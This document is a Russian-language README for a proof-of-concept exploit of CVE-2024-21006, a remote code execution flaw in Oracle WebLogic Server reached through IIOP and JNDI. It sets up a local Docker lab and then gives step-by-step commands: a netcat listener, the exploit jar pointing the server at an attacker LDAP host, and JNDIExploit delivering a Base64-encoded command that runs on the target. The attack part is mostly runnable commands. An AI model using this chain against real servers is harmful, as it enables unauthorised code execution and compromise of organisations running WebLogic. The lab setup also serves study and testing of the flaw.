CVE-2024-21006 PoC

CVE-2024-21006 — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая Oracle WebLogic Server. Ошибка связана с небезопасным использованием протокола IIOP (Internet Inter-ORB Protocol) и JNDI (Java Naming and Directory Interface), что позволяет неавторизованному удаленному злоумышленнику выполнить произвольный код на уязвимом сервере с помощью вредоносной ссылки JNDI.

Развертывание лаборатории

Соберите окружение:

docker-compose up -d

Для доступа к оболочке Kali:

docker exec -it cve-2024-21006_poc-kali-1 /bin/bash

Для доступа к оболочке WebLogic:

docker exec -it cve-2024-21006_poc-weblogic-1 /bin/bash

Для доступа к оболочке ExploitBox:

docker exec -it exploitbox /bin/bash

На этом этапе у нас есть экземпляр WebLogic 12.2.1.3.0, работающий локально: http://127.0.0.1:7001/console/login/LoginForm.jsp

Исследование лаборатории

Простой PoC:

На Kali:

nc -vnlp 1389

На ExploitBox:

java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 ldap://<IP do Kali>:1389

Видно, что Kali получил соединение от WebLogic:

Получение RCE:

На Kali, запустите JNDIExploit:

cd /exploit

java \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED \
-jar JNDIExploit/JNDIExploit-1.3-SNAPSHOT.jar -i <IP do Kali>

На ExploitBox, выполните эксплойт:

java -jar CVE-2024-21006.jar <IP do WebLogic> 7001 "ldap://<IP do Kali>:1389/Basic/Command/Base64/<Comando em Base64>"

На Kali, видно, что мы получили запрос:

На WebLogic, видно, что команда была выполнена и файл успешно создан:

Ссылки:

• https://github.com/lightr3d/CVE-2024-21006_jar
• https://github.com/momika233/CVE-2024-21006
• https://blog.csdn.net/zwy15288408160/article/details/138189146
• https://blog.csdn.net/m0_46109609/article/details/114373594